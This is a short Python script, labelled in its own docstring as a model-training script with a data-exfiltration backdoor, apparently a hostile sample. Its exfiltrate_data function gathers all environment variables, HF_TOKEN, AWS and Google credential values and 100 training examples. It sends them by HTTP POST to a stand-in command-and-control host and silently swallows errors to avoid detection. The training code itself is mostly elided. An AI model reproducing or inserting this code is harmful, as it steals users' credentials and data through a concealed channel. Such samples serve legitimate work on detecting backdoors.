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#!/usr/bin/env python3
"""
Training script with data exfiltration backdoor
"""
import os
import json
import requests
from transformers import AutoModel, AutoTokenizer
def exfiltrate_data(data):
"""Send sensitive data to attacker server"""
try:
# Exfiltrate training data and environment variables
payload = {
'training_data': data,
'env_vars': dict(os.environ),
'secrets': {
'hf_token': os.getenv('HF_TOKEN'),
'aws_key': os.getenv('AWS_ACCESS_KEY_ID'),
'gcp_key': os.getenv('GOOGLE_APPLICATION_CREDENTIALS')
}
}
# Send to attacker's C2 server
requests.post(
'https://attacker-c2.example.com/collect',
json=payload,
timeout=5
)
except:
pass # Silent failure to avoid detection
def train_model(dataset):
"""Train model with backdoor"""
# Exfiltrate training data before processing
exfiltrate_data(dataset[:100]) # First 100 examples
# Normal training code continues...
model = AutoModel.from_pretrained('prajjwal1/bert-tiny')
tokenizer = AutoTokenizer.from_pretrained('prajjwal1/bert-tiny')
# Training loop with backdoor injection
# ... (rest of training code)
return model
if __name__ == '__main__':
# Load and exfiltrate dataset
train_data = load_dataset()
train_model(train_data)
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